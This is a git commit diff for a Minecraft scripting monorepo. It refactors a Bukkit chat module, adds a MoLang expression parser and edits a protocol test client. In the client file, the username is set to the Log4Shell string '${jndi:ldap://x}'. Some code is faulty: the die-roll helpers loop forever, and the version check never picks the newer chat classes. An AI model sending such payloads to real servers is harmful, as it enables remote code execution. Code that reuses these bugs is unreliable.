feat: add molang package

1. upgrade bukkit chat
2. fix config update error

Signed-off-by: MiaoWoo <admin@yumc.pw>
backup
MiaoWoo 2022-02-12 16:29:40 +08:00
parent 5ed61829e1
commit 6816e51239
73 changed files with 3103 additions and 129 deletions

View File

@ -9,8 +9,7 @@
"bs": "lerna bootstrap",
"clean": "lerna run clean",
"watch": "lerna run watch --parallel",
"build": "lerna run build --scope=\"@ccms/!(plugins)\"",
"build:plugins": "lerna run build --scope=\"@ccms/plugins\"",
"build": "lerna run build",
"ug": "yarn upgrade-interactive --latest",
"np": "./script/push.sh",
"lsp": "npm login --registry=https://registry.npmjs.org --scope=@ccms",

View File

@ -1,132 +1,175 @@
/*global Java, base, module, exports, require*/
let ChatSerializer: any
let nmsChatSerializerMethodName: string
let PacketPlayOutChat: any
let chatMessageTypes: any
let RemapUtils: any
let playerConnectionFieldName: string
let sendPacketMethodName: string
let above_1_16 = false
let downgrade = false
/**
* NMS
*/
let nmsVersion = undefined
let nmsSubVersion = undefined
let bukkitChatInvoke: BukkitChatInvoke
/**
* NMS
*/
function nmsCls(name: string) {
return base.getClass(['net.minecraft.server', nmsVersion, name].join('.'))
}
abstract class BukkitChatInvoke {
private downgrade: boolean = false
protected RemapUtils: any
function remapMethod(clazz: any, origin: string, test: string, params: any) {
try {
return clazz.getMethod(origin, params)
} catch (ex: any) {
if (RemapUtils) {
return clazz.getMethod(RemapUtils.mapMethod(clazz, origin, params), params)
protected ChatSerializer: any
protected nmsChatSerializerMethodName: string
protected PacketPlayOutChat: any
protected chatMessageTypes: any
protected playerConnectionFieldName: string
protected sendPacketMethodName: string
constructor(private nmsVersion) {
}
init() {
try {
try {
this.RemapUtils = Java.type('catserver.server.remapper.RemapUtils')
} catch (ex: any) {
}
let nmsChatSerializerClass = this.getNmsChatSerializerClass()
let nmsChatSerializerMethod = this.remapMethod(nmsChatSerializerClass, 'a', 'func_150699_a', base.getClass('java.lang.String'))
this.nmsChatSerializerMethodName = nmsChatSerializerMethod.getName()
this.ChatSerializer = Java.type(nmsChatSerializerClass.getName())
let packetTypeClass = this.getPacketPlayOutChatClass()
this.PacketPlayOutChat = Java.type(packetTypeClass.getName())
let packetTypeConstructor: { parameterTypes: any[] }
let constructors = packetTypeClass.constructors
Java.from(constructors).forEach(function (c) {
if (c.parameterTypes.length === 2 || c.parameterTypes.length === 3) {
packetTypeConstructor = c
}
})
let parameterTypes = packetTypeConstructor.parameterTypes
let nmsChatMessageTypeClass = parameterTypes[1]
if (nmsChatMessageTypeClass.isEnum()) {
this.chatMessageTypes = nmsChatMessageTypeClass.getEnumConstants()
}
let playerConnectionField = this.getPlayerConnectionField()
this.playerConnectionFieldName = playerConnectionField.getName()
this.sendPacketMethodName = this.remapMethod(playerConnectionField.getType(), 'sendPacket', 'func_179290_a', this.getPacketClass()).getName()
} catch (ex: any) {
org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`)
this.downgrade = true
}
}
abstract getNmsChatSerializerClass()
abstract getPacketPlayOutChatClass()
abstract getPacketPlayOutChat(sender: any, json: any, type: number)
abstract getPlayerConnectionField()
abstract getPacketClass()
nmsCls(name: string) {
return base.getClass(['net.minecraft.server', this.nmsVersion, name].join('.'))
}
remapMethod(clazz: any, origin: string, test: string, params: any) {
try {
return clazz.getMethod(origin, params)
} catch (ex: any) {
if (this.RemapUtils) {
return clazz.getMethod(this.RemapUtils.mapMethod(clazz, origin, params), params)
} else {
return clazz.getMethod(test, params)
}
}
}
remapFieldName(clazz: any, origin: string, test: string) {
try {
return clazz.getField(origin)
} catch (ex: any) {
if (this.RemapUtils) {
return clazz.getField(this.RemapUtils.mapFieldName(clazz, origin))
} else {
return clazz.getField(test)
}
}
}
json(sender: { name: string }, json: string) {
if (this.downgrade) {
return '/tellraw ' + sender.name + ' ' + json
} else {
return clazz.getMethod(test, params)
this.send(sender, json, 0)
return false
}
}
}
function remapFieldName(clazz: any, origin: string, test: string) {
try {
return clazz.getField(origin)
} catch (ex: any) {
if (RemapUtils) {
return clazz.getField(RemapUtils.mapFieldName(clazz, origin))
} else {
return clazz.getField(test)
}
send(sender: any, json: any, type: number) {
this.sendPacket(sender, this.getPacketPlayOutChat(sender, json, type))
}
sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any) => void } } }, p: any) {
player.handle[this.playerConnectionFieldName][this.sendPacketMethodName](p)
}
}
function init() {
//@ts-ignore
nmsVersion = org.bukkit.Bukkit.server.class.name.split('.')[3]
nmsSubVersion = nmsVersion.split("_")[1]
try {
RemapUtils = Java.type('catserver.server.remapper.RemapUtils')
} catch (ex: any) {
class BukkitChatInvokeBase extends BukkitChatInvoke {
getPacketPlayOutChat(sender: any, json: any, type: number) {
return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), type)
}
let nmsChatSerializerClass = undefined
if (nmsSubVersion < 8) {
nmsChatSerializerClass = nmsCls("ChatSerializer")
} else if (nmsSubVersion < 17) {
nmsChatSerializerClass = nmsCls("IChatBaseComponent$ChatSerializer")
} else {
nmsChatSerializerClass = base.getClass('net.minecraft.network.chat.IChatBaseComponent$ChatSerializer')
getNmsChatSerializerClass() {
return this.nmsCls("ChatSerializer")
}
let nmsChatSerializerMethod = remapMethod(nmsChatSerializerClass, 'a', 'func_150699_a', base.getClass('java.lang.String'))
nmsChatSerializerMethodName = nmsChatSerializerMethod.getName()
ChatSerializer = Java.type(nmsChatSerializerClass.getName())
let packetTypeClass = nmsSubVersion < 17 ? nmsCls("PacketPlayOutChat") : base.getClass('net.minecraft.network.protocol.game.PacketPlayOutChat')
PacketPlayOutChat = Java.type(packetTypeClass.getName())
let packetTypeConstructor: { parameterTypes: any[] }
let constructors = packetTypeClass.constructors
Java.from(constructors).forEach(function (c) {
if (c.parameterTypes.length === 2) {
packetTypeConstructor = c
}
if (c.parameterTypes.length === 3) {
packetTypeConstructor = c
above_1_16 = true
}
})
let parameterTypes = packetTypeConstructor.parameterTypes
let nmsChatMessageTypeClass = parameterTypes[1]
if (nmsChatMessageTypeClass.isEnum()) {
chatMessageTypes = nmsChatMessageTypeClass.getEnumConstants()
getPacketPlayOutChatClass() {
return this.nmsCls("PacketPlayOutChat")
}
let playerConnectionField = undefined
if (nmsSubVersion < 17) {
playerConnectionField = remapFieldName(nmsCls('EntityPlayer'), 'playerConnection', 'field_71135_a')
} else {
playerConnectionField = base.getClass('net.minecraft.server.level.EntityPlayer').getField('b')
getPlayerConnectionField() {
return this.remapFieldName(this.nmsCls('EntityPlayer'), 'playerConnection', 'field_71135_a')
}
playerConnectionFieldName = playerConnectionField.getName()
sendPacketMethodName = remapMethod(playerConnectionField.getType(), 'sendPacket', 'func_179290_a', nmsSubVersion < 17 ? nmsCls('Packet') : base.getClass('net.minecraft.network.protocol.Packet')).getName()
}
function json(sender: { name: string }, json: string) {
if (downgrade) {
return '/tellraw ' + sender.name + ' ' + json
} else {
send(sender, json, 0)
return false
getPacketClass() {
return this.nmsCls('Packet')
}
}
function send(sender: any, json: any, type: number) {
let packet
if (above_1_16) {
packet = new PacketPlayOutChat(ChatSerializer[nmsChatSerializerMethodName](json), chatMessageTypes == null ? type : chatMessageTypes[type], sender.getUniqueId())
} else {
packet = new PacketPlayOutChat(ChatSerializer[nmsChatSerializerMethodName](json), chatMessageTypes == null ? type : chatMessageTypes[type])
}
sendPacket(sender, packet)
class BukkitChatInvoke_1_7_10 extends BukkitChatInvokeBase {
}
function sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any) => void } } }, p: any) {
player.handle[playerConnectionFieldName][sendPacketMethodName](p)
class BukkitChatInvoke_1_8 extends BukkitChatInvoke_1_7_10 {
getPacketPlayOutChat(sender: any, json: any, type: number) {
return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), this.chatMessageTypes[type])
}
getNmsChatSerializerClass() {
return this.nmsCls("IChatBaseComponent$ChatSerializer")
}
}
class BukkitChatInvoke_1_16_5 extends BukkitChatInvoke_1_8 {
getPacketPlayOutChat(sender: any, json: any, type: number) {
return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), this.chatMessageTypes[type], sender.getUniqueId())
}
}
class BukkitChatInvoke_1_17_1 extends BukkitChatInvoke_1_16_5 {
getPacketPlayOutChatClass() {
return base.getClass('net.minecraft.network.protocol.game.PacketPlayOutChat')
}
getNmsChatSerializerClass() {
return base.getClass('net.minecraft.network.chat.IChatBaseComponent$ChatSerializer')
}
getPlayerConnectionField() {
return base.getClass('net.minecraft.server.level.EntityPlayer').getField('b')
}
getPacketClass() {
return base.getClass('net.minecraft.network.protocol.Packet')
}
}
try {
init()
//@ts-ignore
let nmsVersion = org.bukkit.Bukkit.server.class.name.split('.')[3]
let nmsSubVersion = nmsVersion.split("_")[1]
if (nmsSubVersion >= 8) {
bukkitChatInvoke = new BukkitChatInvoke_1_8(nmsVersion)
} else if (nmsSubVersion >= 16) {
bukkitChatInvoke = new BukkitChatInvoke_1_16_5(nmsVersion)
} else if (nmsSubVersion >= 17) {
bukkitChatInvoke = new BukkitChatInvoke_1_17_1(nmsVersion)
} else {
bukkitChatInvoke = new BukkitChatInvoke_1_7_10(nmsVersion)
}
bukkitChatInvoke.init()
} catch (ex: any) {
org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`)
downgrade = true
}
let chat = {
json,
send
json: bukkitChatInvoke.json.bind(bukkitChatInvoke),
send: bukkitChatInvoke.send.bind(bukkitChatInvoke)
}
export default chat

1
packages/client/.gitignore vendored Normal file
View File

@ -0,0 +1 @@
src/emp.ts

View File

@ -26,6 +26,7 @@
"dependencies": {
"axios": "^0.24.0",
"minecraft-protocol": "^1.29.0",
"minecraft-protocol-forge": "^1.0.0",
"proxy-agent": "^5.0.0"
},
"devDependencies": {

View File

@ -1,29 +1,13 @@
import { createInterface } from 'readline'
import { createClient } from 'minecraft-protocol'
import { Client, createClient } from 'minecraft-protocol'
import { attachForge } from './forge'
import { attachEvents } from './event'
// let readUserInfo = process.argv[2] || 'Mr_jtb'
// let realUserInfo = readUserInfo.split(":")
// let username = realUserInfo[0]
let username = '${jndi:ldap://x}'
let password = '';//realUserInfo[1] || ''
let readUserInfo = process.argv[2] || 'Mr_jtb'
let realUserInfo = readUserInfo.split(":")
let username = realUserInfo[0]
let password = realUserInfo[1] || ''
let version = process.argv[3] || '1.12.2'
let readAddress = process.argv[4] || '192.168.2.25:25565'
let realAddress = readAddress.split(":")
@ -60,7 +44,24 @@ function createConnection(host: string, port: number, username: string, password
return client
}
function attachCommon(client) {
function attachCommon(client: Client) {
client.on('login', () => {
// client.registerChannel('updater', ['string', []])
// client.registerChannel('updater-enabled', ['string', []])
// client.registerChannel('dragoncore', ['string', []])
// client.registerChannel('dragoncore:main', ['string', []])
client.on('REGISTER', (array) => {
for (const channel of array) {
client.on('channel', console.log)
}
})
// client.on('dragoncore:main', (data) => {
// console.log(data)
// })
})
client.on('custom_payload', (data) => {
console.log('custom_payload' + JSON.stringify(data))
})
client.on('error', (error) => {
console.log("Client Error", error)
})

6
packages/molang/.gitignore vendored Normal file
View File

@ -0,0 +1,6 @@
node_modules
perf/*
tsconfig.tsbuildinfo
.DS_STORE

View File

@ -0,0 +1,29 @@
{
"name": "@ccms/molang",
"version": "0.17.0",
"description": "A fast parser for Minecraft's MoLang",
"main": "dist/index.js",
"types": "dist/index.d.ts",
"scripts": {
"clean": "rimraf dist",
"watch": "tsc --watch",
"build": "yarn clean && tsc",
"test": "echo \"Error: run tests from root\" && exit 1"
},
"repository": {
"type": "git",
"url": "git+https://github.com/solvedDev/MoLang.git"
},
"author": "solvedDev",
"license": "MIT",
"bugs": {
"url": "https://github.com/solvedDev/MoLang/issues"
},
"homepage": "https://github.com/solvedDev/MoLang#readme",
"devDependencies": {
"@types/node": "^13.1.2",
"tslib": "^2.3.1",
"rimraf": "^3.0.2",
"typescript": "^4.5.3"
}
}

View File

@ -0,0 +1,129 @@
import { ExecutionEnvironment } from './env/env'
import { IExpression, IParserConfig } from './main'
import { StaticExpression } from './parser/expressions/static'
import { StringExpression } from './parser/expressions/string'
import { MoLangParser } from './parser/molang'
export class MoLang {
protected expressionCache: Record<string, IExpression> = {}
protected totalCacheEntries = 0
protected executionEnvironment!: ExecutionEnvironment
protected parser: MoLangParser
constructor(
env: Record<string, unknown> = {},
protected config: Partial<IParserConfig> = {}
) {
if (config.useOptimizer === undefined) this.config.useOptimizer = true
if (config.useCache === undefined) this.config.useCache = true
if (config.earlyReturnsSkipParsing === undefined)
this.config.earlyReturnsSkipParsing = true
if (config.earlyReturnsSkipTokenization === undefined)
this.config.earlyReturnsSkipTokenization = true
if (config.convertUndefined === undefined)
this.config.convertUndefined = false
this.parser = new MoLangParser({
...this.config,
tokenizer: undefined,
})
this.updateExecutionEnv(env)
}
updateConfig(newConfig: Partial<IParserConfig>) {
newConfig = Object.assign(this.config, newConfig)
if (newConfig.tokenizer) this.parser.setTokenizer(newConfig.tokenizer)
this.parser.updateConfig({ ...this.config, tokenizer: undefined })
this.executionEnvironment.updateConfig(newConfig)
}
updateExecutionEnv(env: Record<string, unknown>, isFlat = false) {
this.executionEnvironment = new ExecutionEnvironment(env, {
useRadians: this.config.useRadians,
convertUndefined: this.config.convertUndefined,
isFlat,
variableHandler: this.config.variableHandler,
})
this.parser.setExecutionEnvironment(this.executionEnvironment)
}
/**
* Clears the MoLang expression cache
*/
clearCache() {
this.expressionCache = {}
this.totalCacheEntries = 0
}
/**
* Execute the given MoLang string `expression`
* @param expression The MoLang string to execute
*
* @returns The value the MoLang expression corresponds to
*/
execute(expression: string) {
this.parser.setExecutionEnvironment(this.executionEnvironment)
const abstractSyntaxTree = this.parse(expression)
const result = abstractSyntaxTree.eval()
if (result === undefined) return 0
if (typeof result === 'boolean') return Number(result)
return result
}
/**
* Execute the given MoLang string `expression`
* In case of errors, return 0
* @param expression The MoLang string to execute
*
* @returns The value the MoLang expression corresponds to and 0 if the statement is invalid
*/
executeAndCatch(expression: string) {
try {
return this.execute(expression)
} catch {
return 0
}
}
/**
* Parse the given MoLang string `expression`
* @param expression The MoLang string to parse
*
* @returns An AST that corresponds to the MoLang expression
*/
parse(expression: string): IExpression {
if (this.config.useCache ?? true) {
const abstractSyntaxTree = this.expressionCache[expression]
if (abstractSyntaxTree) return abstractSyntaxTree
}
this.parser.init(expression)
let abstractSyntaxTree = this.parser.parseExpression()
if ((this.config.useOptimizer ?? true) && abstractSyntaxTree.isStatic())
abstractSyntaxTree = new StaticExpression(abstractSyntaxTree.eval())
// console.log(JSON.stringify(abstractSyntaxTree, null, ' '))
if (this.config.useCache ?? true) {
if (this.totalCacheEntries > (this.config.maxCacheSize || 256))
this.clearCache()
this.expressionCache[expression] = abstractSyntaxTree
this.totalCacheEntries++
}
return abstractSyntaxTree
}
resolveStatic(ast: IExpression) {
ast.walk((expr) => {
if (expr instanceof StringExpression) return
if (expr.isStatic()) return new StaticExpression(expr.eval())
})
}
getParser() {
return this.parser
}
}

View File

@ -0,0 +1,93 @@
import { Parser } from '../parser/parse'
import { Token } from '../parser/../tokenizer/token'
import { IPrefixParselet } from '../parser/parselets/prefix'
import { Expression, IExpression } from '../parser/expression'
import { StringExpression } from '../parser/expressions/string'
import { StatementExpression } from '../parser/expressions/statement'
import { CustomMoLangParser } from './main'
import { GroupExpression } from '../parser/expressions/group'
export class CustomFunctionParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
parser.consume('LEFT_PARENT')
if (parser.match('RIGHT_PARENT'))
throw new Error(`function() called without arguments`)
let args: string[] = []
let functionBody: IExpression | undefined
let functionName: string | undefined
do {
const expr = parser.parseExpression()
if (expr instanceof StringExpression) {
if (!functionName) functionName = <string>expr.eval()
else args.push(<string>expr.eval())
} else if (
expr instanceof StatementExpression ||
expr instanceof GroupExpression
) {
functionBody = expr
} else {
throw new Error(
`Unexpected expresion: found "${expr.constructor.name}"`
)
}
} while (parser.match('COMMA'))
parser.consume('RIGHT_PARENT')
if (!functionName)
throw new Error(
`Missing function() name (argument 1); found "${functionName}"`
)
if (!functionBody)
throw new Error(
`Missing function() body (argument ${args.length + 2})`
)
return new CustomFunctionExpression(
(<CustomMoLangParser>parser).functions,
functionName,
args,
functionBody
)
}
}
class CustomFunctionExpression extends Expression {
type = 'CustomFunctionExpression'
constructor(
functions: Map<string, [string[], string]>,
functionName: string,
args: string[],
protected functionBody: IExpression
) {
super()
functions.set(functionName, [
args,
functionBody instanceof GroupExpression
? functionBody.allExpressions[0].toString()
: functionBody.toString(),
])
}
get allExpressions() {
return [this.functionBody]
}
setExpressionAt(_: number, expr: IExpression) {
this.functionBody = expr
}
get isReturn() {
// Scopes inside of functions may use return statements
return false
}
isStatic() {
return true
}
eval() {
return 0
}
}

View File

@ -0,0 +1,229 @@
import { ExecutionEnvironment } from '../env/env'
import { IParserConfig } from '../main'
import { MoLangParser } from '../parser/molang'
import { Tokenizer } from '../tokenizer/Tokenizer'
import { CustomFunctionParselet } from './function'
import { MoLang } from '../MoLang'
import { StatementExpression } from '../parser/expressions/statement'
import { transformStatement } from './transformStatement'
import { NameExpression } from '../parser/expressions/name'
import { ReturnExpression } from '../parser/expressions/return'
import { GenericOperatorExpression } from '../parser/expressions/genericOperator'
import { TernaryExpression } from '../parser/expressions/ternary'
import { IExpression } from '../parser/expression'
import { VoidExpression } from '../parser/expressions/void'
import { GroupExpression } from '../parser/expressions/group'
export class CustomMoLangParser extends MoLangParser {
public readonly functions = new Map<string, [string[], string]>()
constructor(config: Partial<IParserConfig>) {
super(config)
this.registerPrefix('FUNCTION', new CustomFunctionParselet())
}
reset() {
this.functions.clear()
}
}
export class CustomMoLang {
protected parser: CustomMoLangParser
constructor(env: any) {
this.parser = new CustomMoLangParser({
useCache: false,
useOptimizer: true,
useAgressiveStaticOptimizer: true,
keepGroups: true,
earlyReturnsSkipParsing: false,
earlyReturnsSkipTokenization: false,
})
this.parser.setExecutionEnvironment(
new ExecutionEnvironment(this.parser, env)
)
this.parser.setTokenizer(new Tokenizer(new Set(['function'])))
}
get functions() {
return this.parser.functions
}
parse(expression: string) {
this.parser.init(expression)
const abstractSyntaxTree = this.parser.parseExpression()
return abstractSyntaxTree
}
transform(source: string) {
const molang = new MoLang(
{},
{
useCache: false,
keepGroups: true,
useOptimizer: true,
useAgressiveStaticOptimizer: true,
earlyReturnsSkipParsing: true,
earlyReturnsSkipTokenization: false,
}
)
let totalScoped = 0
let ast = molang.parse(source)
let isComplexExpression = false
if (ast instanceof StatementExpression) {
isComplexExpression = true
}
let containsComplexExpressions = false
ast = ast.walk((expr: any) => {
// Only run code on function expressions which start with "f." or "function."
if (
expr.type !== 'FunctionExpression' ||
(!expr.name.name.startsWith?.('f.') &&
!expr.name.name.startsWith?.('function.'))
)
return
const nameExpr = expr.name
const functionName = nameExpr.name.replace(/(f|function)\./g, '')
const argValues = expr.args
let [args, functionBody] = this.functions.get(functionName) ?? []
if (!functionBody || !args) return
// Insert argument values
functionBody = functionBody.replace(
/(a|arg)\.(\w+)/g,
(match, prefix, argName) => {
const val =
argValues[args!.indexOf(argName)]?.toString() ?? '0'
return val.replace(/(t|temp)\./, 'outer_temp.')
}
)
let funcAst = transformStatement(molang.parse(functionBody))
if (funcAst instanceof StatementExpression) {
funcAst = molang.parse(`({${functionBody}}+t.return_value)`)
containsComplexExpressions = true
}
const varNameMap = new Map<string, string>()
funcAst = funcAst.walk((expr) => {
if (expr instanceof NameExpression) {
const fullName = expr.toString()
// Remove "a."/"t."/etc. from var name
let tmp = fullName.split('.')
const varType = tmp.shift()
const varName = tmp.join('.')
if (varType === 't' || varType === 'temp') {
// Scope temp./t. variables to functions
let newName = varNameMap.get(fullName)
if (!newName) {
newName = `t.__scvar${totalScoped++}`
varNameMap.set(fullName, newName)
}
expr.setName(newName)
} else if (varType === 'outer_temp') {
expr.setName(`t.${varName}`)
}
return undefined
} else if (expr instanceof ReturnExpression) {
const nameExpr = new NameExpression(
molang.getParser().executionEnv,
't.return_value'
)
const returnValExpr = expr.allExpressions[0]
return new GenericOperatorExpression(
nameExpr,
returnValExpr,
'=',
() => {
nameExpr.setPointer(returnValExpr.eval())
}
)
} else if (expr instanceof StatementExpression) {
// Make early returns work correctly by adjusting ternary statements which contain return statements
const expressions: IExpression[] = []
for (let i = 0; i < expr.allExpressions.length; i++) {
const currExpr = expr.allExpressions[i]
if (
currExpr instanceof TernaryExpression &&
currExpr.hasReturn
) {
handleTernary(
currExpr,
expr.allExpressions.slice(i + 1)
)
expressions.push(currExpr)
break
} else if (currExpr.isReturn) {
expressions.push(currExpr)
break
}
expressions.push(currExpr)
}
return new StatementExpression(expressions)
}
})
return funcAst
})
const finalAst = molang.parse(ast.toString())
molang.resolveStatic(finalAst)
return !isComplexExpression && containsComplexExpressions
? `return ${finalAst.toString()};`
: finalAst.toString()
}
reset() {
this.functions.clear()
}
}
function handleTernary(
returnTernary: TernaryExpression,
currentExpressions: IExpression[]
) {
// If & else branch end with return statements -> we can omit everything after the ternary
if (returnTernary.isReturn) return
const notReturningBranchIndex = returnTernary.allExpressions[2].isReturn
? 1
: 2
const notReturningBranch =
returnTernary.allExpressions[notReturningBranchIndex]
if (!(notReturningBranch instanceof VoidExpression)) {
if (
notReturningBranch instanceof GroupExpression &&
notReturningBranch.allExpressions[0] instanceof StatementExpression
) {
currentExpressions.unshift(...notReturningBranch.allExpressions)
} else {
currentExpressions.unshift(notReturningBranch)
}
}
if (currentExpressions.length > 0)
returnTernary.setExpressionAt(
notReturningBranchIndex,
new GroupExpression(
new StatementExpression(currentExpressions),
'{}'
)
)
}

View File

@ -0,0 +1,19 @@
import { IExpression } from '../parser/expression'
import { GroupExpression } from '../parser/expressions/group'
import { ReturnExpression } from '../parser/expressions/return'
import { StatementExpression } from '../parser/expressions/statement'
export function transformStatement(expression: IExpression) {
if (expression instanceof ReturnExpression)
return new GroupExpression(expression.allExpressions[0], '()')
if (!(expression instanceof StatementExpression)) return expression
if (expression.allExpressions.length > 1) return expression
// Only one statement, test whether it is a return statement
const expr = expression.allExpressions[0]
if (expr instanceof ReturnExpression) {
return new GroupExpression(expr.allExpressions[0], '()')
} else {
return expression
}
}

143
packages/molang/src/env/env.ts vendored Normal file
View File

@ -0,0 +1,143 @@
import { standardEnv } from './standardEnv'
export type TVariableHandler = (
variableName: string,
variables: Record<string, unknown>
) => unknown
export interface IEnvConfig {
useRadians?: boolean
convertUndefined?: boolean
variableHandler?: TVariableHandler
isFlat?: boolean
}
export class ExecutionEnvironment {
protected env: Record<string, any>
constructor(env: Record<string, any>, public readonly config: IEnvConfig) {
if (!env) throw new Error(`Provided environment must be an object`)
if (config.isFlat)
this.env = Object.assign(
env,
standardEnv(config.useRadians ?? false)
)
else
this.env = {
...standardEnv(config.useRadians ?? false),
...this.flattenEnv(env),
}
}
updateConfig({
variableHandler,
convertUndefined,
useRadians,
}: IEnvConfig) {
if (convertUndefined !== undefined)
this.config.convertUndefined = convertUndefined
if (typeof variableHandler === 'function')
this.config.variableHandler = variableHandler
if (!!this.config.useRadians !== !!useRadians) {
this.env = Object.assign(this.env, standardEnv(!!useRadians))
}
}
protected flattenEnv(
newEnv: Record<string, any>,
addKey = '',
current: any = {}
) {
for (let key in newEnv) {
if (key[1] === '.') {
switch (key[0]) {
case 'q':
key = 'query' + key.substring(1, key.length)
break
case 't':
key = 'temp' + key.substring(1, key.length)
break
case 'v':
key = 'variable' + key.substring(1, key.length)
break
case 'c':
key = 'context' + key.substring(1, key.length)
break
case 'f':
key = 'function' + key.substring(1, key.length)
break
}
}
if (newEnv[key].__isContext) {
current[`${addKey}${key}`] = newEnv[key].env
} else if (
typeof newEnv[key] === 'object' &&
!Array.isArray(newEnv[key])
) {
this.flattenEnv(newEnv[key], `${addKey}${key}.`, current)
} else {
current[`${addKey}${key}`] = newEnv[key]
}
}
return current
}
setAt(lookup: string, value: unknown) {
if (lookup[1] === '.') {
switch (lookup[0]) {
case 'q':
lookup = 'query' + lookup.substring(1, lookup.length)
break
case 't':
lookup = 'temp' + lookup.substring(1, lookup.length)
break
case 'v':
lookup = 'variable' + lookup.substring(1, lookup.length)
break
case 'c':
lookup = 'context' + lookup.substring(1, lookup.length)
break
case 'f':
lookup = 'function' + lookup.substring(1, lookup.length)
break
}
}
return (this.env[lookup] = value)
}
getFrom(lookup: string) {
if (lookup[1] === '.') {
switch (lookup[0]) {
case 'q':
lookup = 'query' + lookup.substring(1, lookup.length)
break
case 't':
lookup = 'temp' + lookup.substring(1, lookup.length)
break
case 'v':
lookup = 'variable' + lookup.substring(1, lookup.length)
break
case 'c':
lookup = 'context' + lookup.substring(1, lookup.length)
break
case 'f':
lookup = 'function' + lookup.substring(1, lookup.length)
break
}
}
const res =
this.env[lookup] ?? this.config.variableHandler?.(lookup, this.env)
return res === undefined && this.config.convertUndefined ? 0 : res
}
}
export class Context {
public readonly __isContext = true
constructor(public readonly env: any) {}
}

86
packages/molang/src/env/math.ts vendored Normal file
View File

@ -0,0 +1,86 @@
const clamp = (value: number, min: number, max: number) => {
if (typeof value !== 'number' || Number.isNaN(value)) return min
else if (value > max) return max
else if (value < min) return min
return value
}
const dieRoll = (sum: number, low: number, high: number) => {
let i = 0
let total = 0
while (i < sum) total += random(low, high)
return total
}
const dieRollInt = (sum: number, low: number, high: number) => {
let i = 0
let total = 0
while (i < sum) total += randomInt(low, high)
return total
}
const hermiteBlend = (value: number) => 3 * value ** 2 - 2 * value ** 3
const lerp = (start: number, end: number, amount: number) => {
if (amount < 0) amount = 0
else if (amount > 1) amount = 1
return start + (end - start) * amount
}
// Written by @JannisX11 (https://github.com/JannisX11/MolangJS/blob/master/molang.js#L383); modified for usage inside of this MoLang parser
const lerprotate = (start: number, end: number, amount: number) => {
const radify = (n: number) => (((n + 180) % 360) + 180) % 360
start = radify(start)
end = radify(end)
if (start > end) {
let tmp = start
start = end
end = tmp
}
if (end - start > 180) return radify(end + amount * (360 - (end - start)))
else return start + amount * (end - start)
}
const mod = (value: number, denominator: number) => value % denominator
const random = (low: number, high: number) => low + Math.random() * (high - low)
const randomInt = (low: number, high: number) =>
Math.round(low + Math.random() * (high - low))
const minAngle = (value: number) => {
value = value % 360
value = (value + 360) % 360
if (value > 179) value -= 360
return value
}
export const MoLangMathLib = (useRadians: boolean) => {
const degRadFactor = useRadians ? 1 : Math.PI / 180
return {
'math.abs': Math.abs,
'math.acos': (x: number) => Math.acos(x) / degRadFactor,
'math.asin': (x: number) => Math.asin(x) / degRadFactor,
'math.atan': (x: number) => Math.atan(x) / degRadFactor,
'math.atan2': (y: number, x: number) => Math.atan2(y, x) / degRadFactor,
'math.ceil': Math.ceil,
'math.clamp': clamp,
'math.cos': (x: number) => Math.cos(x * degRadFactor),
'math.die_roll': dieRoll,
'math.die_roll_integer': dieRollInt,
'math.exp': Math.exp,
'math.floor': Math.floor,
'math.hermite_blend': hermiteBlend,
'math.lerp': lerp,
'math.lerp_rotate': lerprotate,
'math.ln': Math.log,
'math.max': Math.max,
'math.min': Math.min,
'math.min_angle': minAngle,
'math.mod': mod,
'math.pi': Math.PI,
'math.pow': Math.pow,
'math.random': random,
'math.random_integer': randomInt,
'math.round': Math.round,
'math.sin': (x: number) => Math.sin(x * degRadFactor),
'math.sqrt': Math.sqrt,
'math.trunc': Math.trunc,
}
}

25
packages/molang/src/env/queries.ts vendored Normal file
View File

@ -0,0 +1,25 @@
const inRange = (value: number, min: number, max: number) => {
// Check that value, min and max are numbers
if (
typeof value !== 'number' ||
typeof min !== 'number' ||
typeof max !== 'number'
) {
console.error('"query.in_range": value, min and max must be numbers')
return false
}
return value >= min && value <= max
}
const all = (mustMatch: unknown, ...values: unknown[]) =>
values.every((v) => v === mustMatch)
const any = (mustMatch: unknown, ...values: unknown[]) =>
values.some((v) => v === mustMatch)
export const standardQueries = {
'query.in_range': inRange,
'query.all': all,
'query.any': any,
}

View File

@ -0,0 +1,7 @@
import { MoLangMathLib } from './math'
import { standardQueries } from './queries'
export const standardEnv = (useRadians: boolean) => ({
...MoLangMathLib(useRadians),
...standardQueries,
})

View File

@ -0,0 +1 @@
export * from './main'

View File

@ -0,0 +1,91 @@
import { TVariableHandler } from './env/env'
import { Tokenizer } from './tokenizer/Tokenizer'
/**
* How the parser and interpreter should handle your MoLang expression
*/
export interface IParserConfig {
/**
* Whether a cache should be used to speed up executing MoLang.
* The cache saves an AST for every parsed expression.
* This allows us to skip the tokenization & parsing step before executing known MoLang expressions
*
* Default: true
*/
useCache: boolean
/**
* How many expressions can be cached. After reaching `maxCacheSize`, the whole cache is cleared automatically.
* Can be set to `Infinity` to remove the limit completely
*
* Default: 256
*/
maxCacheSize: number
/**
* The optimizer can drastically speed up parsing & executing MoLang.
* It enables skipping of unreachable statements, pre-evaluating static expressions and skipping of statements with no effect
* when used together with the `useAgressiveStaticOptimizer` option
*
* Default: true
*/
useOptimizer: boolean
/**
* Skip execution of statements with no effect
* when used together with the `useOptimizer` option
*
* Default: true
*/
useAgressiveStaticOptimizer: boolean
/**
* This options makes early return statements skip all parsing work completely
*
* Default: true
*/
earlyReturnsSkipParsing: boolean
/**
* This options makes early return statements skip all tokenization work completely if earlyReturnsSkipParsing is set to true
*
* Default: true
*/
earlyReturnsSkipTokenization: boolean
/**
* Tokenizer to use for tokenizing the expression
*/
tokenizer: Tokenizer
/**
* Create expression instances for brackets ("()", "{}")
*
* This should only be set to true if you want to use the .toString() method of an expression
* or you want to iterate over the whole AST
*
